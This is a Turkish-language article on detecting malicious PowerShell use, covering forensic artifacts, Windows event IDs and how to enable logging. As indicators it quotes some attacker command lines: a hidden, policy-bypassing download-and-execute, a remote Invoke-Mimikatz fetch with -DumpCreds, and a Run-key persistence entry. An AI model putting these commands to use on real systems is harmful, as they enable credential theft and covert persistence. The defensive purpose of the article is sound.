PowerShell
Microsoft tarafından 2006 yılında oluşturulmuş, komut dosyası dili özelliklerine sahip etkileşimli nesne yönelimli komut satırı ara yüzüdür. Bilgi teknolojileri uzmanları tarafından, Windows işletim sistemine sahip sistemlerin denetlenmesini ve otomatik işlemlerin gerçekleştirmesinde PowerShell scriptleri kullanılmaktadır. PowerShell Microsoft .NET üzerine inşa edilmiş bir scrpiting platformudur bundan dolayı nesne yönelimlidir. Ayrıca .NET framework’ün sağladığı aynı işlevselliğe ve yazılım geliştiricilerin kullandığı diğer kod kitaplıklarına erişim sağlamak mümkündür. Powershell hem etkileşimli bir dil hem de bir komut dosyası aracı olarak işlev görür. Burada cmd den farkından da bahsedebiliriz cmd (commandLine) sadece komut dosyası aracı olarak kullanılmakta PowerShell ise hem komut hem de etkileşimli bir dil (scrpiting) olarak kullanılabilmektedir. PowerShell, Windows, MacOS ve Linux tarafından desteklenmektedir.
Powershell dosyaları C:WindowsSystem32WindowsPowerShellv1.0 dizininde bulunur.
PowerShell kullanılarak;
· Bir den fazla komut birleştirilerek çalıştırılabilir.
· Uzaktan bağlantı yeteneği sayesinde uzmanlar tarafından komutları sunucuya doğrudan çalıştırma yeteneği sağlar.
· PowerShell, bilgisayardaki dosya sistemlerine erişmenize aracılık eder.
· PowerShell sağlayıcıları, kayıt defteri ve sertifika depoları gibi diğer veri depolarına, dosya sistemine erişirken kolaylık sağlar.
· PowerShell, COM ve WMI’a tam erişim sağlayarak yöneticilerin hem yerel hem de uzak Windows sistemlerinde yönetim görevlerini yerine getirmesine olanak tanır.
· PowerShell çalışma zamanının diğer uygulamaların içine yerleştirilebileceği bir barındırma API’si de sağlar. Bu uygulamalar daha sonra PowerShell işlevini grafiksel arabirim aracılığıyla belirli işlemleri uygulamak için kullanılabilir.
· PowerShell ile çalıştırılan komutlar klasik antivürsler ile tespit edilemez.
· PowerShell scrpitleri karmaşıklaştırılması oldukça kolaydır.
Tabi böyle gelişmiş özelliklere sahip ve tüm Windows sistemlerde default olarak gelen güçlü bir komut ortamı ve komut dosyası dili sızma test frameworklerinde ve siber saldırganlar tarafından giderek artan bir kullanım oranı vardır. Saldırganlar PowerShell’i genellikle; dowloader, ransomware, backdoor, persistence, keşif sağlama gibi komutları çalıştırabilirler. Empire, PowerSploit, Poshc2, PSAttack, PowerShellMafia gibi PowerShell tabanlı saldırılar araçları da mevcuttur.
PowerShell kullanılarak saldırı tekniklerine örnekler;
1. Detect Empire with PowerShell Script Block Logging [MITRE T1059.001]
2. Detect Mimikatz With PowerShell Script Block Logging [MITRE T1059.001]
3. Powershell Fileless Process Injection via GetProcAddress [MITRE T1059.001, T1055]
4. Powershell Fileless Script Contains Base64 Encoded Content [MITRE T1059.001, T1027]
5. Unloading AMSI via Reflection [MITRE T1562]
6. PowerShell Domain Enumeration [MITRE T1059.001]
7. PowerShell Loading .NET into Memory via System Reflection Assembly [MITRE T1059.001]
8. Powershell Creating Thread Mutex [MITRE T1027.005]
9. Powershell Processing Stream Of Data [MITRE T1059.001]
10.Powershell Using memory As Backing Store [MITRE T1140]
11.Recon AVProduct Through Pwh or WMI [MITRE T1592]
12.Recon Using WMI Class [MITRE T1592]
13.WMI Recon Running Process or Services [MITRE T1592]
14.Allow Inbound Traffic In Firewall Rule [MITRE T1021.001]
15.Mailsniper Invoke functions [MITRE T1114.001]
16.Delete ShadowCopy With PowerShell [MITRE T1490]
17.PowerShell Enable SMB1Protocol Feature [MITRE T1027.005]
18.Detect WMI Event Subscription Persistence [MITRE T1546.003]
Saldırganların PowerShell kullanma nedenlerine bakacak olursak;
1. Tüm Windows sistemlerde varsayılan olarak yüklenir.
2. Komutları ve scrpitleri memory üzerinden çalıştırabilir, bu da onu gizli hale getirir.
3. Varsayılan olarak birkaç iz oluşturur, bu da adli analiz altında bulmayı zorlaştırır.
4. Varsayılan olarak şifreli trafik ile uzaktan erişim özelliklerine sahiptir.
5. Bir komut dosyası olarak, geleneksel güvenlik araçlarıyla şaşırtmak kolaydır ve tespit etmek zordur.
6. Savunmacılar, sistemlerini sıkılaştırırken genellikle powershell’i gözden kaçırırlar.
7. Yapılandırmaya bağlı olarak uygulama beyaz listeye (whitelisting) alma araçlarını atlayabilir.
8. Birçok ağ geçidi sanal alanı, komut dosyası tabanlı kötü amaçlı yazılımları iyi işlemez.
9. Hazır komut dosyalarıyla büyüyen bir topluluğa sahiptir.
10.Birçok sistem yöneticisi, çerçeveyi kullanır ve ona güvenerek, PowerShell kötü amaçlı yazılımının düzenli yönetim çalışmalarıyla uyum sağlamasına olanak tanır.
Gibi nedenlerden ötürü saldırganlar ve red team ekiplerince sıkça kullanılmaktadır.
PowerShell Analizi Ve Loglama Türleri Geçmiş Komut Analizi:
Forensics bakış açısı ile bir saldırgan powershell kullanarak sisteme sızdığında belirli yerlerde iz bırakmaktadır. Saldırganın sisteme ne zaman sızdığı, nasıl sızdığı, hangi komutları çalıştırdığı gibi bilgileri elde edebiliriz. Mitre T1059.001 tarafından açıklandığı gibi, PowerShell sabit disk üzerinde herhangi bir iz bırakmadan doğrudan hafıza (memory) üzerinde çalıştırabilirler. Bu saldırı tehdit çeşidine “file-less threat” yani “dosyasız tehdit” denilmektedir. (https://docs.microsoft.com/en-us/microsoft-365/security/intelligence/filel ess-threats? view=o365-worldwide) Bu tehditlerin tespit edilip analiz edilmesi için çeşitli artifackler bulunur yani sistemde kötü amaçlı PowerShell kullanımına ilişkin kanıt sağlayabilecek kanıt kaynakları bulunur. Bu kaynaklar, Registry, preftech files, memory, event logs ve network trafiği olabilir.
Registry
Yapılan testler ve powershell temelli saldırılarda, scrpitlerin çalışmasını kaydeden herhangi bir registry değeri tanımlanmamıştır. Anacak saldırgan, etkinliklerini kolaylaştırmak için registry’de bulunan PowerShell yapılandırma ayarlarını değiştirebilir. Örneğin bir kullanıcının bir sistem yüklenmesine ve çalışmasına izin verilen profillerin ve komut dosyaların kontrol eden PowerShell çalışma ilkesi registry’de bulunur ve saldırgan tarafından değiştirilebilir.
HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell
Prefetch File
Adli analiz sırasında, Preftech dosyaları önceden bir sistemde çalışan dosyaların çalıştığına bir kanıt kaynağı olarak genellikle kullanılır. PowerShell tabanlı saldırılar gözlemlenerek preftech dosyalarında powershell komut dosyalarına referanslar içerebilecek kalıntılar olabileceği tespit edildi. Preftech dosyasına erişilen dosya listesinde bulunabilmesi için powershell.exe çalışmasının ilk on saniyesinde belirli bir komut dosyasının yüklenmesi gerekir.
Örnek olarak “powershell.exe -File “C:temp persistence.ps1”” , sytanx bu şekilde olan bir komut çalıştırıldı. Preftech dosyalarına bakıldığı zaman bir artışın olduğu gözlemlendi. Preftech dosyasına bakıldığında önceden yüklenmiş bir komut dosyası için erişilen dosya bilgilerini yine de tutabilir. Yani Preftech dosyaları sayesinde, şüpheli saldırgan etkinliği ilişkili olup olmadıklarını belirlemek için powershell preftech dosyalarının oluşma zaman damgaları ve son çalışma zaman damgalarını incelenmelidir. Erişilen dosya listesini parse edip ve ardından dize araması yapılması ve başvurulan tüm .PS1 dosyalarının adlarını ve yolları analiz edilebilir.
Event Logs
Herhangi bir PowerShell komutu veya scripti çalıştığından event loglar üzerinde belirli kayıtlar oluşturmaktadır.
1- Windows PowerShell.evtx
Event ID 400: Engine status durumunu Noe to Avalibale olarak değiştirir. Bu event local veya remote bir PowerShell aktivitesinin başladığını gösterir. PowerShell tek bir komutun çalışması yerele bir oturumun başlatılması veya uzaktan iletişim oturumunun başlaması üzerine her çalıştığında “Event ID 400” event mesajını kaydeder. “Engine state is changed from None to Available.” yazar. Oturumun sonunda, Event ID 400 olayını kaydeder: “Engine state is changed from Available to Stopped” şeklinde değiştirilir. Hiçbir ileti, PowerShell etkinliğiyle ilişkili kullanıcı hesabını kaydetmez. Ancak, bu olayları kullanarak bir analist, PowerShell oturumlarının süresini ve sıklığını belirleyebilir.
Event ID 403: Engine durumu kullanılabilirden duruldu olarak değiştirildiğinde oluşur. Bu olay bir powershell etkinliğinin tamamlandığını kaydeder.
Event ID 600: WSMan gibi sağlayıcıların sistemde bir powershell etkinliği gerçekleştirmeye başladığını belirtir, örneğin “Provider WSM Is Started”. PowerShell’in yürütme politikasını atladığını görüyoruz. Bu aktivite genellikle saldırganlar tarafından, varsayılan olarak politika “Kısıtlı” olarak ayarlanan bu tür komut dosyalarını çalıştırmalarına izin vermek için yapılır. Bu nedenle, PowerShell scriplerin yürütülmesini engeller.
2- Microsoft-Windows-PowerShell%4Operational.evtx
PowerShell aracılığıyla yürütülenler de dahil olmak üzere Windows Uzaktan Yönetim hizmetinin tüm kullanımını kaydeder. (PowerShell 2.0 versiyonu için geçerli değildir)
EventID 169: Uzaktan iletişim etkinliğinin başlangıcında kaydedildi. WinRM’ye erişmek için kullanılan bilgisayar veya etki alanı adını, kullanıcı adını ve kimlik doğrulama mekanizmasını içerir.
EventID 81, 82, 134: PowerShell uzaktan kumandası sırasında meydana gelen ” under-the-hood ” işlemler tarafından oluşturulur. Komut satırında gönderilen belirli komutları kaydetmek yerine, bu girişler oldukça belirsiz ve düşük seviyelidir. Bu olay günlüğü mesajlarındaki “Kullanıcı adı” alanı, uzaktan iletişim etkinliğini yürüten hesabın etki alanını ve kullanıcı adını kaydeder. Bunun yanı sıra, bu olaylar esas olarak uzaktan iletişimin gerçekleştiği zaman çerçevesini tanımlamak için kullanışlıdır.
Scrpit Block Logging
Komut bloklarını PowerShell tarafından çalıştırıldığında kaydeder, böylece komut dosyaları ve komutlar dahil olmak üzere bir saldırgan tarafından yürütülen kodun tüm içeriğini yakalar. -EncodedCommand, XOR, Base64 ROT13 gibi şifreleme algoritmalarını kullansa bile log kaydını oluşturur. PowerShell 5.0 dan sonra loglama oluşmuştur. Scrpit Block Logging “Event ID 4104” PowerShell scrpits ve bloklar bu event tarafından kaydedilir.
Script block logging, üzerinde yapılan test sonucunda, Invoke-Mimikatz scripti çalıştığında 5 MB’lik 116 event oluştuğu tespit edilmiştir. Komut dosyası bloklarının başlangıcını ve bitişini EID 4105 ve 4106’da komut dosyası blok kimliğine göre kaydeder.
Module Logging
Değişken başlatma ve komut çağırıları dahil olmak üzere PowerShell çalıştırırken ayrıntıları kaydeder. Module Logging de-obfuscated code, komut dosyaların bölümlerini, gizlenmiş kodları ve çıtı için biçimlendirilmiş bazı verileri kaydeder. Bu log kayıtları tüm attackları yakalayamıyor olsa bile diğer loglar tarafından kaydedilmeyen bilgileri yakalayacaktır. Module logging PowerShel 3.0 dan beri vardır. Module Logging “Event ID 4103” Bu event, scrpitlerin komutlar bölümü gibi powershell’in işlem çalıştırma ayrıntılarını kaydeder.
Module logging, Invoke-Mimikatz scrpitinin çalışması sırasında yaklaşık olarak 7MB boyutunda log ve 22285 adet event oluştuğu test sonucunda tespit edilmiştir. bu yakalanan eventlar diğer log kaynaklarında yakalanmayan değerli çıktıları kaydeder.
Transcription
Tam olarak oturumda göründüğü gibi, tüm giriş ve çıkışlar dahil olmak üzere her PowerShell oturumunun benzersiz bir kaydını oluşturur. Transkriptler metin dosyalarına yazılır, kullanıcı ve oturuma göre ayrılır. Transkriptler ayrıca analize yardımcı olmak için her komut için zaman damgaları ve meta veriler içerir. Ancak, transkripsiyon yalnızca PowerShell terminalinde görünenleri kaydeder; bu, yürütülen komut dosyalarının içeriğini veya dosya sistemi gibi diğer hedeflere yazılan çıktıları içermez.
“PowerShell_transcript” ile başlayan otomatik olarak adlandırılır. Varsayılan olarak, dökümler kullanıcının belgeler klasörüne yazılır, ancak yerel sistem veya ağ üzerindeki herhangi bir erişilebilir konuma yapılandırılabilir. En iyi uygulama, kopyaları, savunucuların verileri kolayca gözden geçirebileceği ve saldırganların bunları kolayca silemeyeceği uzak, salt okunur bir ağ paylaşımına yazmaktır
Microsoft-Windows-WinRM%4Operational.evtx
Windows Uzaktan Yönetim (WinRM) logu, PowerShell uzaktan iletişim bağlantıları dahil olmak üzere gelen ve giden WinRM bağlantılarını kaydeder. Günlük, kimliği doğrulamak için kullanılan kullanıcı adıyla birlikte kaynağı (gelen bağlantılar) veya hedefi (giden bağlantılar) yakalar. Bu bağlantı verileri, PowerShell uzaktan iletişim kullanılarak yanal hareketin izlenmesinde değerli olabilir. İdeal olarak, WinRM günlüğü, en az bir yıllık verileri depolamak için yeterli bir boyuta ayarlanmalıdır.
Komutlar bir powershell konsolunda gerçekleştirilirse bir oturum geçmişi, yani geçerli oturum sırasında girilen komutların listesini kaydeder. Get-History komutunu kullanarak oturama özel bir geçmiş tanımlanabilir oturum kapatılırsa liste kaybolur.
ConsoleHost_history.txt
PowerShell v5’ten başlayarak default olarak sistemlerde kurulur. Konsola yazılan tüm komutların ConsoleHost_history.txt kaydedilir. ConsoleHost_history.txt bulunduğu konum;
C:UsersMAAppDataRoamingMicrosoftWindowsPowerShellPSReadLine ConsoleHost_history.txt
Yukarıdaki belirtilen artifackler analiz edilerek PowerShell kullanılarak güvenliğinin ihlal edildiğini doğrulayabiliriz
Log’lar analiz edilirken dikkat edilmesi gereken PowerShell parametreleri;
· IEX/ -Invoke-Expression: String şeklinde komutları çalıştırmayı sağlar.
· Stat-Process: Bir veya birden fazla process çalıştırmayı sağlar.
· (New-Object System.Net.Webclient).DownloadString()
· (New-Object System.Net.Webclient).DownloadFile() : İki farklı komut fakat zararlı yazılımlarda aynı işlevde kullanılmaktadır. Uzak bir sistem üzerinden dosya indirmeyi sağlar.
· -F/-ile: Komutları dosyadan almayı sağlar.
· -W Hidden/-WindowsStyle Hidden: Çalıştırılan komut ya da betik için powershell komut satırını gizler.
· -Enc/-EncodedCommand: base64 ile encode edilmiş komutları çalıştırmayı sağlar.
· Invoke-Command: yerel olarak veya uzak bir bilgisayarda bir komutu çalıştıran cmdlet’i içerir
· -NoP/-NoProfile (ignore the commands in the profile file)
· Exec bypass/-ExecutionPolicy Bypass (ignore the execution policy restriction)
· -NonI/-NonInteractive (do not run an interactive shell)
· -C/-Command (run a single command)
· Start-Process
· DownloadFile($URL,$LocalFileLocation);Start-Process
· $LocalFileLocation
· DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%Y. ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%Y. ps1”
· Invoke-Command, such as: InvokeCommand <IPadress> {GetChildItem c: : Tek uzaktan cmdlet yürütme aracılığıyla
· Invoke-Command, such as: InvokeCommand <IPadress> 150 {c: malware.exe} : Tek uzaktan binary çalıştırma
· Invoke-Mimikatz.ps1, such as: InvokeCommand <IPadress> {iex((New-Object Net.WebClient). DownloadString(‘https://raw. githubusercontent.com/ mattifestation/PowerSploit/ master/Exfiltration/InvokeMimikatz.ps1’)); Invoke-Mimikatz -DumpCreds}
· Enter-PSSession <IPadress> Sözdizimi ile başlatılan uzaktan etkileşimli PowerShell komut oturumu:
· Category:
Kötü amaçlı PowerShell scriptleri yukardaki gibidir, komut satırında yukarıda belirtilenlerden herhangi biri ile karşılaşıldığında analiz edilmesinde derinleşilmelidir.
Persistent PowerShell
Saldırganlar bir Windows sistemin, sistem başlatıldığında veya kullanıcının oturum açtıktan sonra Powershell’i otomatik olarak çalıştıracak ve böylece ilk bulaşma noktasının ötesinde devam edecek şekilde kendini yapılandırabilir. Kalıcılık, backdoor veya keylogger gibi belirli amaç için yeniden başlatılması sürdürmeyi amaçlar.
Kalıcılık sağlamak için Windows mekanizmalarını kullanabilir. Registry auto-start extensibility points (AESPs), scheduled tasks, user startup folders örnek verilebilir.
Registry kullanılarak saldırgan c:windowssystem32evil.ps1 dosyasına kalıcılık sağlamak isterse;
Key: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
Value: RunTotallyLegitPowerShell
Data: powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy bypass -File “C:windowssystem32evil.ps1”
Zamanlanmış görevler veya Başlangıç klasörü gibi kayıt defterine bağlı olmayan diğer kalıcılık tekniklerinin de benzer yönleri vardır: Yinelenen zamanlanmış görevler, %systemroot%tasks içindeki .job dosyalarının analizi ve Task Scheduler Operational Event Log kanıtlar aracılığıyla tanımlanabilir.
Application Event Logs (Application.evtx), Saldırganlar genellikle backdoor dediğimiz arka kapılar sayesinde kalıcılık mekanizması olarak Windows Services olarak kaydetmeye çalışırlar böylelikle sistem yeniden başlatıldığında sisteme tekrardan sızma girişiminde bulunmadan oturum açarlar. Application.evtx dosyasında 7045 Event ID New Service was installed olarak geçer. Sisteme bir servis kurulduğunda 7045 event ıd’si oluşur.
Log Yapılandırması
Module Logging Enable etmek için;
1- Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimi açılır.
2- Windows PowerShell CPO ayarlarına gidilir
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve enable edilir.
3- Options bölümünden Modül adını göstermek için tıklanır.
4- Modül adaları penceresin de tüm modülleri kaydetmek için * karakteri girilir.
5- Sonra tüm isterler ok butonuna basılarak kaydedilir.
Alternatif olarak, registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellModuleLogging → EnableModuleLogging = 1
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellModuleLogging ModuleNames → * =*
Scrpit Block Logging Enable etmek için;
1- Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimi açın.
2- Windows PowerShell CPO ayarlarına gidilir
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on PowerShell Script Block Logging çift tıklanılır ve enable edilir.
Alternatif olarak, registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellScriptBlockLogging → EnableScriptBlockLogging = 1
Transcription Logging Enable etmek için;
1- Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimini açın.
2- Windows PowerShell CPO ayarlarına gidilir
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve enable edilir
Yapılan yapılandırma ayarları Registry key altında saklanır
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription → EnableTranscripting = 1
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription → EnableInvocationHeader = 1
HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription → OutputDirectory = “” (Enter path. Empty = default)
ÖNERİ
Log kaynaklarının tümünün etkinleştirilmesini önerir: modül logu, komut dosyası block logu ve transkripsiyon. Bu kaynakların her biri, PowerShell etkinliğini analiz etmek için değerli olan benzersiz verileri kaydeder
İdeal olarak, verilerin makul bir süre boyunca korunmasını sağlamak için Microsoft-Windows-PowerShell%4Operational.evtx PowerShell olay günlüğünün boyutu 1 GB’a (veya kuruluşunuzun izin verdiği kadar büyük) yükseltilmelidir. PowerShell günlüğü, günlüğü hızla döndüren büyük hacimli veriler üretir (tipik yönetici veya saldırgan etkinliği sırasında dakikada 1 MB’a kadar gözlemlenmiştir).
KAYNAK
https://docs.microsoft.com/tr-tr/powershell/scripting/overview?view=powershell-7.2
https://github.com/PowerShell/PowerShell
https://tr.wikipedia.org/wiki/Windows_PowerShell
https://attack.mitre.org/techniques/T1059/001/